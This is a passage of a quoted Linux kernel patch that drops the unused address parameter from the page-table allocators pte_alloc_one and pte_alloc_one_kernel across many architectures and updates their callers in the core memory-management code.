> +static inline struct page *pte_alloc_one(struct mm_struct *mm)
>   {
>   	struct page *page = alloc_pages(GFP_DMA, 0);
>   	pte_t *pte;
> diff --git a/arch/m68k/include/asm/motorola_pgalloc.h b/arch/m68k/include/asm/motorola_pgalloc.h
> index 7859a86319cf..d04d9ba9b976 100644
> --- a/arch/m68k/include/asm/motorola_pgalloc.h
> +++ b/arch/m68k/include/asm/motorola_pgalloc.h
> @@ -8,7 +8,7 @@
>   extern pmd_t *get_pointer_table(void);
>   extern int free_pointer_table(pmd_t *);
>   
> -static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
> +static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
>   {
>   	pte_t *pte;
>   
> @@ -28,7 +28,7 @@ static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
>   	free_page((unsigned long) pte);
>   }
>   
> -static inline pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address)
> +static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
>   {
>   	struct page *page;
>   	pte_t *pte;
> diff --git a/arch/m68k/include/asm/sun3_pgalloc.h b/arch/m68k/include/asm/sun3_pgalloc.h
> index 11485d38de4e..1456c5eecbd9 100644
> --- a/arch/m68k/include/asm/sun3_pgalloc.h
> +++ b/arch/m68k/include/asm/sun3_pgalloc.h
> @@ -35,8 +35,7 @@ do {							\
>   	tlb_remove_page((tlb), pte);			\
>   } while (0)
>   
> -static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
> -					  unsigned long address)
> +static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
>   {
>   	unsigned long page = __get_free_page(GFP_KERNEL);
>   
> @@ -47,8 +46,7 @@ static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
>   	return (pte_t *) (page);
>   }
>   
> -static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
> -					unsigned long address)
> +static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
>   {
>           struct page *page = alloc_pages(GFP_KERNEL, 0);
>   
> diff --git a/arch/microblaze/include/asm/pgalloc.h b/arch/microblaze/include/asm/pgalloc.h
> index 7c89390c0c13..f4cc9ffc449e 100644
> --- a/arch/microblaze/include/asm/pgalloc.h
> +++ b/arch/microblaze/include/asm/pgalloc.h
> @@ -108,10 +108,9 @@ static inline void free_pgd_slow(pgd_t *pgd)
>   #define pmd_alloc_one_fast(mm, address)	({ BUG(); ((pmd_t *)1); })
>   #define pmd_alloc_one(mm, address)	({ BUG(); ((pmd_t *)2); })
>   
> -extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr);
> +extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm);
>   
> -static inline struct page *pte_alloc_one(struct mm_struct *mm,
> -		unsigned long address)
> +static inline struct page *pte_alloc_one(struct mm_struct *mm)
>   {
>   	struct page *ptepage;
>   
> @@ -132,20 +131,6 @@ static inline struct page *pte_alloc_one(struct mm_struct *mm,
>   	return ptepage;
>   }
>   
> -static inline pte_t *pte_alloc_one_fast(struct mm_struct *mm,
> -		unsigned long address)
> -{
> -	unsigned long *ret;
> -
> -	ret = pte_quicklist;
> -	if (ret != NULL) {
> -		pte_quicklist = (unsigned long *)(*ret);
> -		ret[0] = 0;
> -		pgtable_cache_size--;
> -	}
> -	return (pte_t *)ret;
> -}
> -
>   static inline void pte_free_fast(pte_t *pte)
>   {
>   	*(unsigned long **)pte = pte_quicklist;
> diff --git a/arch/microblaze/mm/pgtable.c b/arch/microblaze/mm/pgtable.c
> index 7f525962cdfa..c2ce1e42b888 100644
> --- a/arch/microblaze/mm/pgtable.c
> +++ b/arch/microblaze/mm/pgtable.c
> @@ -235,8 +235,7 @@ unsigned long iopa(unsigned long addr)
>   	return pa;
>   }
>   
> -__ref pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
> -		unsigned long address)
> +__ref pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
>   {
>   	pte_t *pte;
>   	if (mem_init_done) {
> diff --git a/arch/mips/include/asm/pgalloc.h b/arch/mips/include/asm/pgalloc.h
> index 39b9f311c4ef..27808d9461f4 100644
> --- a/arch/mips/include/asm/pgalloc.h
> +++ b/arch/mips/include/asm/pgalloc.h
> @@ -50,14 +50,12 @@ static inline void pgd_free(struct mm_struct *mm, pgd_t *pgd)
>   	free_pages((unsigned long)pgd, PGD_ORDER);
>   }
>   
> -static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
> -	unsigned long address)
> +static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
>   {
>   	return (pte_t *)__get_free_pages(GFP_KERNEL | __GFP_ZERO, PTE_ORDER);
>   }
>   
> -static inline struct page *pte_alloc_one(struct mm_struct *mm,
> -	unsigned long address)
> +static inline struct page *pte_alloc_one(struct mm_struct *mm)
>   {
>   	struct page *pte;
>   
> diff --git a/arch/nds32/include/asm/pgalloc.h b/arch/nds32/include/asm/pgalloc.h
> index 27448869131a..3c5fee5b5759 100644
> --- a/arch/nds32/include/asm/pgalloc.h
> +++ b/arch/nds32/include/asm/pgalloc.h
> @@ -22,8 +22,7 @@ extern void pgd_free(struct mm_struct *mm, pgd_t * pgd);
>   
>   #define check_pgt_cache()		do { } while (0)
>   
> -static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
> -					  unsigned long addr)
> +static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
>   {
>   	pte_t *pte;
>   
> @@ -34,7 +33,7 @@ static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
>   	return pte;
>   }
>   
> -static inline pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long addr)
> +static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
>   {
>   	pgtable_t pte;
>   
> diff --git a/arch/nios2/include/asm/pgalloc.h b/arch/nios2/include/asm/pgalloc.h
> index bb47d08c8ef7..3a149ead1207 100644
> --- a/arch/nios2/include/asm/pgalloc.h
> +++ b/arch/nios2/include/asm/pgalloc.h
> @@ -37,8 +37,7 @@ static inline void pgd_free(struct mm_struct *mm, pgd_t *pgd)
>   	free_pages((unsigned long)pgd, PGD_ORDER);
>   }
>   
> -static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
> -	unsigned long address)
> +static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
>   {
>   	pte_t *pte;
>   
> @@ -47,8 +46,7 @@ static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
>   	return pte;
>   }
>   
> -static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
> -	unsigned long address)
> +static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
>   {
>   	struct page *pte;
>   
> diff --git a/arch/openrisc/include/asm/pgalloc.h b/arch/openrisc/include/asm/pgalloc.h
> index 8999b9226512..149c82ee4b8b 100644
> --- a/arch/openrisc/include/asm/pgalloc.h
> +++ b/arch/openrisc/include/asm/pgalloc.h
> @@ -70,10 +70,9 @@ static inline void pgd_free(struct mm_struct *mm, pgd_t *pgd)
>   	free_page((unsigned long)pgd);
>   }
>   
> -extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address);
> +extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm);
>   
> -static inline struct page *pte_alloc_one(struct mm_struct *mm,
> -					 unsigned long address)
> +static inline struct page *pte_alloc_one(struct mm_struct *mm)
>   {
>   	struct page *pte;
>   	pte = alloc_pages(GFP_KERNEL, 0);
> diff --git a/arch/openrisc/mm/ioremap.c b/arch/openrisc/mm/ioremap.c
> index 2175e4bfd9fc..24fb1021c75a 100644
> --- a/arch/openrisc/mm/ioremap.c
> +++ b/arch/openrisc/mm/ioremap.c
> @@ -118,8 +118,7 @@ EXPORT_SYMBOL(iounmap);
>    * the memblock infrastructure.
>    */
>   
> -pte_t __ref *pte_alloc_one_kernel(struct mm_struct *mm,
> -					 unsigned long address)
> +pte_t __ref *pte_alloc_one_kernel(struct mm_struct *mm)
>   {
>   	pte_t *pte;
>   
> diff --git a/arch/parisc/include/asm/pgalloc.h b/arch/parisc/include/asm/pgalloc.h
> index cf13275f7c6d..d05c678c77c4 100644
> --- a/arch/parisc/include/asm/pgalloc.h
> +++ b/arch/parisc/include/asm/pgalloc.h
> @@ -122,7 +122,7 @@ pmd_populate_kernel(struct mm_struct *mm, pmd_t *pmd, pte_t *pte)
>   #define pmd_pgtable(pmd) pmd_page(pmd)
>   
>   static inline pgtable_t
> -pte_alloc_one(struct mm_struct *mm, unsigned long address)
> +pte_alloc_one(struct mm_struct *mm)
>   {
>   	struct page *page = alloc_page(GFP_KERNEL|__GFP_ZERO);
>   	if (!page)
> @@ -135,7 +135,7 @@ pte_alloc_one(struct mm_struct *mm, unsigned long address)
>   }
>   
>   static inline pte_t *
> -pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
> +pte_alloc_one_kernel(struct mm_struct *mm)
>   {
>   	pte_t *pte = (pte_t *)__get_free_page(GFP_KERNEL|__GFP_ZERO);
>   	return pte;
> diff --git a/arch/powerpc/include/asm/book3s/32/pgalloc.h b/arch/powerpc/include/asm/book3s/32/pgalloc.h
> index 82e44b1a00ae..af9e13555d95 100644
> --- a/arch/powerpc/include/asm/book3s/32/pgalloc.h
> +++ b/arch/powerpc/include/asm/book3s/32/pgalloc.h
> @@ -82,8 +82,8 @@ static inline void pmd_populate(struct mm_struct *mm, pmd_t *pmdp,
>   #define pmd_pgtable(pmd) pmd_page(pmd)
>   #endif
>   
> -extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr);
> -extern pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long addr);
> +extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm);
> +extern pgtable_t pte_alloc_one(struct mm_struct *mm);
>   
>   static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
>   {
> diff --git a/arch/powerpc/include/asm/book3s/64/pgalloc.h b/arch/powerpc/include/asm/book3s/64/pgalloc.h
> index 391ed2c3b697..8f1d92e99fe5 100644
> --- a/arch/powerpc/include/asm/book3s/64/pgalloc.h
> +++ b/arch/powerpc/include/asm/book3s/64/pgalloc.h
> @@ -42,7 +42,7 @@ extern struct kmem_cache *pgtable_cache[];
>   			pgtable_cache[(shift) - 1];	\
>   		})
>   
> -extern pte_t *pte_fragment_alloc(struct mm_struct *, unsigned long, int);
> +extern pte_t *pte_fragment_alloc(struct mm_struct *, int);
>   extern pmd_t *pmd_fragment_alloc(struct mm_struct *, unsigned long);
>   extern void pte_fragment_free(unsigned long *, int);
>   extern void pmd_fragment_free(unsigned long *);
> @@ -192,16 +192,14 @@ static inline pgtable_t pmd_pgtable(pmd_t pmd)
>   	return (pgtable_t)pmd_page_vaddr(pmd);
>   }
>   
> -static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
> -					  unsigned long address)
> +static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
>   {
> -	return (pte_t *)pte_fragment_alloc(mm, address, 1);
> +	return (pte_t *)pte_fragment_alloc(mm, 1);
>   }
>   
> -static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
> -				      unsigned long address)
> +static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
>   {
> -	return (pgtable_t)pte_fragment_alloc(mm, address, 0);
> +	return (pgtable_t)pte_fragment_alloc(mm, 0);
>   }
>   
>   static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
> diff --git a/arch/powerpc/include/asm/nohash/32/pgalloc.h b/arch/powerpc/include/asm/nohash/32/pgalloc.h
> index 8825953c225b..16623f53f0d4 100644
> --- a/arch/powerpc/include/asm/nohash/32/pgalloc.h
> +++ b/arch/powerpc/include/asm/nohash/32/pgalloc.h
> @@ -83,8 +83,8 @@ static inline void pmd_populate(struct mm_struct *mm, pmd_t *pmdp,
>   #define pmd_pgtable(pmd) pmd_page(pmd)
>   #endif
>   
> -extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr);
> -extern pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long addr);
> +extern pte_t *pte_alloc_one_kernel(struct mm_struct *mm);
> +extern pgtable_t pte_alloc_one(struct mm_struct *mm);
>   
>   static inline void pte_free_kernel(struct mm_struct *mm, pte_t *pte)
>   {
> diff --git a/arch/powerpc/include/asm/nohash/64/pgalloc.h b/arch/powerpc/include/asm/nohash/64/pgalloc.h
> index e2d62d033708..2e7e0230edf4 100644
> --- a/arch/powerpc/include/asm/nohash/64/pgalloc.h
> +++ b/arch/powerpc/include/asm/nohash/64/pgalloc.h
> @@ -96,14 +96,12 @@ static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
>   }
>   
>   
> -static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
> -					  unsigned long address)
> +static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
>   {
>   	return (pte_t *)__get_free_page(GFP_KERNEL | __GFP_ZERO);
>   }
>   
> -static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
> -				      unsigned long address)
> +static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
>   {
>   	struct page *page;
>   	pte_t *pte;
> diff --git a/arch/powerpc/mm/pgtable-book3s64.c b/arch/powerpc/mm/pgtable-book3s64.c
> index 01d7c0f7c4f0..cff1d426ca6a 100644
> --- a/arch/powerpc/mm/pgtable-book3s64.c
> +++ b/arch/powerpc/mm/pgtable-book3s64.c
> @@ -379,7 +379,7 @@ static pte_t *__alloc_for_ptecache(struct mm_struct *mm, int kernel)
>   	return (pte_t *)ret;
>   }
>   
> -pte_t *pte_fragment_alloc(struct mm_struct *mm, unsigned long vmaddr, int kernel)
> +pte_t *pte_fragment_alloc(struct mm_struct *mm, int kernel)
>   {
>   	pte_t *pte;
>   
> diff --git a/arch/powerpc/mm/pgtable_32.c b/arch/powerpc/mm/pgtable_32.c
> index 120a49bfb9c6..b99a89cdcc5e 100644
> --- a/arch/powerpc/mm/pgtable_32.c
> +++ b/arch/powerpc/mm/pgtable_32.c
> @@ -43,7 +43,7 @@ EXPORT_SYMBOL(ioremap_bot);	/* aka VMALLOC_END */
>   
>   extern char etext[], _stext[], _sinittext[], _einittext[];
>   
> -__ref pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
> +__ref pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
>   {
>   	pte_t *pte;
>   
> @@ -57,7 +57,7 @@ __ref pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
>   	return pte;
>   }
>   
> -pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address)
> +pgtable_t pte_alloc_one(struct mm_struct *mm)
>   {
>   	struct page *ptepage;
>   
> diff --git a/arch/riscv/include/asm/pgalloc.h b/arch/riscv/include/asm/pgalloc.h
> index a79ed5faff3a..94043cf83c90 100644
> --- a/arch/riscv/include/asm/pgalloc.h
> +++ b/arch/riscv/include/asm/pgalloc.h
> @@ -82,15 +82,13 @@ static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
>   
>   #endif /* __PAGETABLE_PMD_FOLDED */
>   
> -static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
> -	unsigned long address)
> +static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
>   {
>   	return (pte_t *)__get_free_page(
>   		GFP_KERNEL | __GFP_RETRY_MAYFAIL | __GFP_ZERO);
>   }
>   
> -static inline struct page *pte_alloc_one(struct mm_struct *mm,
> -	unsigned long address)
> +static inline struct page *pte_alloc_one(struct mm_struct *mm)
>   {
>   	struct page *pte;
>   
> diff --git a/arch/s390/include/asm/pgalloc.h b/arch/s390/include/asm/pgalloc.h
> index f0f9bcf94c03..ce2ca8cbd2ec 100644
> --- a/arch/s390/include/asm/pgalloc.h
> +++ b/arch/s390/include/asm/pgalloc.h
> @@ -139,8 +139,8 @@ static inline void pmd_populate(struct mm_struct *mm,
>   /*
>    * page table entry allocation/free routines.
>    */
> -#define pte_alloc_one_kernel(mm, vmaddr) ((pte_t *) page_table_alloc(mm))
> -#define pte_alloc_one(mm, vmaddr) ((pte_t *) page_table_alloc(mm))
> +#define pte_alloc_one_kernel(mm) ((pte_t *)page_table_alloc(mm))
> +#define pte_alloc_one(mm) ((pte_t *)page_table_alloc(mm))
>   
>   #define pte_free_kernel(mm, pte) page_table_free(mm, (unsigned long *) pte)
>   #define pte_free(mm, pte) page_table_free(mm, (unsigned long *) pte)
> diff --git a/arch/sh/include/asm/pgalloc.h b/arch/sh/include/asm/pgalloc.h
> index ed053a359ab7..8ad73cb31121 100644
> --- a/arch/sh/include/asm/pgalloc.h
> +++ b/arch/sh/include/asm/pgalloc.h
> @@ -32,14 +32,12 @@ static inline void pmd_populate(struct mm_struct *mm, pmd_t *pmd,
>   /*
>    * Allocate and free page tables.
>    */
> -static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
> -					  unsigned long address)
> +static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
>   {
>   	return quicklist_alloc(QUICK_PT, GFP_KERNEL, NULL);
>   }
>   
> -static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
> -					unsigned long address)
> +static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
>   {
>   	struct page *page;
>   	void *pg;
> diff --git a/arch/sparc/include/asm/pgalloc_32.h b/arch/sparc/include/asm/pgalloc_32.h
> index 90459481c6c7..282be50a4adf 100644
> --- a/arch/sparc/include/asm/pgalloc_32.h
> +++ b/arch/sparc/include/asm/pgalloc_32.h
> @@ -58,10 +58,9 @@ void pmd_populate(struct mm_struct *mm, pmd_t *pmdp, struct page *ptep);
>   void pmd_set(pmd_t *pmdp, pte_t *ptep);
>   #define pmd_populate_kernel(MM, PMD, PTE) pmd_set(PMD, PTE)
>   
> -pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address);
> +pgtable_t pte_alloc_one(struct mm_struct *mm);
>   
> -static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
> -					  unsigned long address)
> +static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
>   {
>   	return srmmu_get_nocache(PTE_SIZE, PTE_SIZE);
>   }
> diff --git a/arch/sparc/include/asm/pgalloc_64.h b/arch/sparc/include/asm/pgalloc_64.h
> index 874632f34f62..48abccba4991 100644
> --- a/arch/sparc/include/asm/pgalloc_64.h
> +++ b/arch/sparc/include/asm/pgalloc_64.h
> @@ -60,10 +60,8 @@ static inline void pmd_free(struct mm_struct *mm, pmd_t *pmd)
>   	kmem_cache_free(pgtable_cache, pmd);
>   }
>   
> -pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
> -			    unsigned long address);
> -pgtable_t pte_alloc_one(struct mm_struct *mm,
> -			unsigned long address);
> +pte_t *pte_alloc_one_kernel(struct mm_struct *mm);
> +pgtable_t pte_alloc_one(struct mm_struct *mm);
>   void pte_free_kernel(struct mm_struct *mm, pte_t *pte);
>   void pte_free(struct mm_struct *mm, pgtable_t ptepage);
>   
> diff --git a/arch/sparc/mm/init_64.c b/arch/sparc/mm/init_64.c
> index f396048a0d68..6133f21811e9 100644
> --- a/arch/sparc/mm/init_64.c
> +++ b/arch/sparc/mm/init_64.c
> @@ -2921,8 +2921,7 @@ void __flush_tlb_all(void)
>   			     : : "r" (pstate));
>   }
>   
> -pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
> -			    unsigned long address)
> +pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
>   {
>   	struct page *page = alloc_page(GFP_KERNEL | __GFP_ZERO);
>   	pte_t *pte = NULL;
> @@ -2933,8 +2932,7 @@ pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
>   	return pte;
>   }
>   
> -pgtable_t pte_alloc_one(struct mm_struct *mm,
> -			unsigned long address)
> +pgtable_t pte_alloc_one(struct mm_struct *mm)
>   {
>   	struct page *page = alloc_page(GFP_KERNEL | __GFP_ZERO);
>   	if (!page)
> diff --git a/arch/sparc/mm/srmmu.c b/arch/sparc/mm/srmmu.c
> index be9cb0065179..ce67a96e70c3 100644
> --- a/arch/sparc/mm/srmmu.c
> +++ b/arch/sparc/mm/srmmu.c
> @@ -364,12 +364,12 @@ pgd_t *get_pgd_fast(void)
>    * Alignments up to the page size are the same for physical and virtual
>    * addresses of the nocache area.
>    */
> -pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address)
> +pgtable_t pte_alloc_one(struct mm_struct *mm)
>   {
>   	unsigned long pte;
>   	struct page *page;
>   
> -	if ((pte = (unsigned long)pte_alloc_one_kernel(mm, address)) == 0)
> +	if ((pte = (unsigned long)pte_alloc_one_kernel(mm)) == 0)
>   		return NULL;
>   	page = pfn_to_page(__nocache_pa(pte) >> PAGE_SHIFT);
>   	if (!pgtable_page_ctor(page)) {
> diff --git a/arch/um/kernel/mem.c b/arch/um/kernel/mem.c
> index 3c0e470ea646..1f277191fbf3 100644
> --- a/arch/um/kernel/mem.c
> +++ b/arch/um/kernel/mem.c
> @@ -197,7 +197,7 @@ void pgd_free(struct mm_struct *mm, pgd_t *pgd)
>   	free_page((unsigned long) pgd);
>   }
>   
> -pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
> +pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
>   {
>   	pte_t *pte;
>   
> @@ -205,7 +205,7 @@ pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
>   	return pte;
>   }
>   
> -pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address)
> +pgtable_t pte_alloc_one(struct mm_struct *mm)
>   {
>   	struct page *pte;
>   
> diff --git a/arch/unicore32/include/asm/pgalloc.h b/arch/unicore32/include/asm/pgalloc.h
> index f0fdb268f8f2..7cceabecf4e3 100644
> --- a/arch/unicore32/include/asm/pgalloc.h
> +++ b/arch/unicore32/include/asm/pgalloc.h
> @@ -34,7 +34,7 @@ extern void free_pgd_slow(struct mm_struct *mm, pgd_t *pgd);
>    * Allocate one PTE table.
>    */
>   static inline pte_t *
> -pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
> +pte_alloc_one_kernel(struct mm_struct *mm)
>   {
>   	pte_t *pte;
>   
> @@ -46,7 +46,7 @@ pte_alloc_one_kernel(struct mm_struct *mm, unsigned long addr)
>   }
>   
>   static inline pgtable_t
> -pte_alloc_one(struct mm_struct *mm, unsigned long addr)
> +pte_alloc_one(struct mm_struct *mm)
>   {
>   	struct page *pte;
>   
> diff --git a/arch/x86/include/asm/pgalloc.h b/arch/x86/include/asm/pgalloc.h
> index fbd578daa66e..5068e85165b2 100644
> --- a/arch/x86/include/asm/pgalloc.h
> +++ b/arch/x86/include/asm/pgalloc.h
> @@ -47,8 +47,8 @@ extern gfp_t __userpte_alloc_gfp;
>   extern pgd_t *pgd_alloc(struct mm_struct *);
>   extern void pgd_free(struct mm_struct *mm, pgd_t *pgd);
>   
> -extern pte_t *pte_alloc_one_kernel(struct mm_struct *, unsigned long);
> -extern pgtable_t pte_alloc_one(struct mm_struct *, unsigned long);
> +extern pte_t *pte_alloc_one_kernel(struct mm_struct *);
> +extern pgtable_t pte_alloc_one(struct mm_struct *);
>   
>   /* Should really implement gc for free page table pages. This could be
>      done with a reference count in struct page. */
> diff --git a/arch/x86/mm/pgtable.c b/arch/x86/mm/pgtable.c
> index 089e78c4effd..a2eff247377b 100644
> --- a/arch/x86/mm/pgtable.c
> +++ b/arch/x86/mm/pgtable.c
> @@ -23,12 +23,12 @@ EXPORT_SYMBOL(physical_mask);
>   
>   gfp_t __userpte_alloc_gfp = PGALLOC_GFP | PGALLOC_USER_GFP;
>   
> -pte_t *pte_alloc_one_kernel(struct mm_struct *mm, unsigned long address)
> +pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
>   {
>   	return (pte_t *)__get_free_page(PGALLOC_GFP & ~__GFP_ACCOUNT);
>   }
>   
> -pgtable_t pte_alloc_one(struct mm_struct *mm, unsigned long address)
> +pgtable_t pte_alloc_one(struct mm_struct *mm)
>   {
>   	struct page *pte;
>   
> diff --git a/arch/xtensa/include/asm/pgalloc.h b/arch/xtensa/include/asm/pgalloc.h
> index 1065bc8bcae5..b3b388ff2f01 100644
> --- a/arch/xtensa/include/asm/pgalloc.h
> +++ b/arch/xtensa/include/asm/pgalloc.h
> @@ -38,8 +38,7 @@ static inline void pgd_free(struct mm_struct *mm, pgd_t *pgd)
>   	free_page((unsigned long)pgd);
>   }
>   
> -static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
> -					 unsigned long address)
> +static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm)
>   {
>   	pte_t *ptep;
>   	int i;
> @@ -52,13 +51,12 @@ static inline pte_t *pte_alloc_one_kernel(struct mm_struct *mm,
>   	return ptep;
>   }
>   
> -static inline pgtable_t pte_alloc_one(struct mm_struct *mm,
> -					unsigned long addr)
> +static inline pgtable_t pte_alloc_one(struct mm_struct *mm)
>   {
>   	pte_t *pte;
>   	struct page *page;
>   
> -	pte = pte_alloc_one_kernel(mm, addr);
> +	pte = pte_alloc_one_kernel(mm);
>   	if (!pte)
>   		return NULL;
>   	page = virt_to_page(pte);
> diff --git a/include/linux/mm.h b/include/linux/mm.h
> index 0416a7204be3..89c2b1739a69 100644
> --- a/include/linux/mm.h
> +++ b/include/linux/mm.h
> @@ -1789,8 +1789,8 @@ static inline void mm_inc_nr_ptes(struct mm_struct *mm) {}
>   static inline void mm_dec_nr_ptes(struct mm_struct *mm) {}
>   #endif
>   
> -int __pte_alloc(struct mm_struct *mm, pmd_t *pmd, unsigned long address);
> -int __pte_alloc_kernel(pmd_t *pmd, unsigned long address);
> +int __pte_alloc(struct mm_struct *mm, pmd_t *pmd);
> +int __pte_alloc_kernel(pmd_t *pmd);
>   
>   /*
>    * The following ifdef needed to get the 4level-fixup.h header to work.
> @@ -1928,18 +1928,17 @@ static inline void pgtable_page_dtor(struct page *page)
>   	pte_unmap(pte);					\
>   } while (0)
>   
> -#define pte_alloc(mm, pmd, address)			\
> -	(unlikely(pmd_none(*(pmd))) && __pte_alloc(mm, pmd, address))
> +#define pte_alloc(mm, pmd) (unlikely(pmd_none(*(pmd))) && __pte_alloc(mm, pmd))
>   
>   #define pte_alloc_map(mm, pmd, address)			\
> -	(pte_alloc(mm, pmd, address) ? NULL : pte_offset_map(pmd, address))
> +	(pte_alloc(mm, pmd) ? NULL : pte_offset_map(pmd, address))
>   
>   #define pte_alloc_map_lock(mm, pmd, address, ptlp)	\
> -	(pte_alloc(mm, pmd, address) ?			\
> +	(pte_alloc(mm, pmd) ?			\
>   		 NULL : pte_offset_map_lock(mm, pmd, address, ptlp))
>   
>   #define pte_alloc_kernel(pmd, address)			\
> -	((unlikely(pmd_none(*(pmd))) && __pte_alloc_kernel(pmd, address))? \
> +	((unlikely(pmd_none(*(pmd))) && __pte_alloc_kernel(pmd))? \
>   		NULL: pte_offset_kernel(pmd, address))
>   
>   #if USE_SPLIT_PMD_PTLOCKS
> diff --git a/mm/huge_memory.c b/mm/huge_memory.c
> index 00704060b7f7..fd7e8714e5a1 100644
> --- a/mm/huge_memory.c
> +++ b/mm/huge_memory.c
> @@ -558,7 +558,7 @@ static vm_fault_t __do_huge_pmd_anonymous_page(struct vm_fault *vmf,
>   		return VM_FAULT_FALLBACK;
>   	}
>   
> -	pgtable = pte_alloc_one(vma->vm_mm, haddr);
> +	pgtable = pte_alloc_one(vma->vm_mm);
>   	if (unlikely(!pgtable)) {
>   		ret = VM_FAULT_OOM;
>   		goto release;
> @@ -683,7 +683,7 @@ vm_fault_t do_huge_pmd_anonymous_page(struct vm_fault *vmf)
>   		struct page *zero_page;
>   		bool set;
>   		vm_fault_t ret;
> -		pgtable = pte_alloc_one(vma->vm_mm, haddr);
> +		pgtable = pte_alloc_one(vma->vm_mm);
>   		if (unlikely(!pgtable))
>   			return VM_FAULT_OOM;
>   		zero_page = mm_get_huge_zero_page(vma->vm_mm);
> @@ -772,7 +772,7 @@ vm_fault_t vmf_insert_pfn_pmd(struct vm_area_struct *vma, unsigned long addr,
>   		return VM_FAULT_SIGBUS;
>   
>   	if (arch_needs_pgtable_deposit()) {
> -		pgtable = pte_alloc_one(vma->vm_mm, addr);
> +		pgtable = pte_alloc_one(vma->vm_mm);
>   		if (!pgtable)
>   			return VM_FAULT_OOM;
>   	}
> @@ -910,7 +910,7 @@ int copy_huge_pmd(struct mm_struct *dst_mm, struct mm_struct *src_mm,
>   	if (!vma_is_anonymous(vma))
>   		return 0;
>   
> -	pgtable = pte_alloc_one(dst_mm, addr);
> +	pgtable = pte_alloc_one(dst_mm);
>   	if (unlikely(!pgtable))
>   		goto out;
>   
> diff --git a/mm/kasan/kasan_init.c b/mm/kasan/kasan_init.c
> index 7a2a2f13f86f..272849cd2007 100644
> --- a/mm/kasan/kasan_init.c
> +++ b/mm/kasan/kasan_init.c
> @@ -121,7 +121,7 @@ static int __ref zero_pmd_populate(pud_t *pud, unsigned long addr,
>   			pte_t *p;
>   
>   			if (slab_is_available())
> -				p = pte_alloc_one_kernel(&init_mm, addr);
> +				p = pte_alloc_one_kernel(&init_mm);
>   			else
>   				p = early_alloc(PAGE_SIZE, NUMA_NO_NODE);
>   			if (!p)
> diff --git a/mm/memory.c b/mm/memory.c
> index c467102a5cbc..3afdcf38993d 100644
> --- a/mm/memory.c
> +++ b/mm/memory.c
> @@ -647,10 +647,10 @@ void free_pgtables(struct mmu_gather *tlb, struct vm_area_struct *vma,
>   	}
>   }
>   
> -int __pte_alloc(struct mm_struct *mm, pmd_t *pmd, unsigned long address)
> +int __pte_alloc(struct mm_struct *mm, pmd_t *pmd)
>   {
>   	spinlock_t *ptl;
> -	pgtable_t new = pte_alloc_one(mm, address);
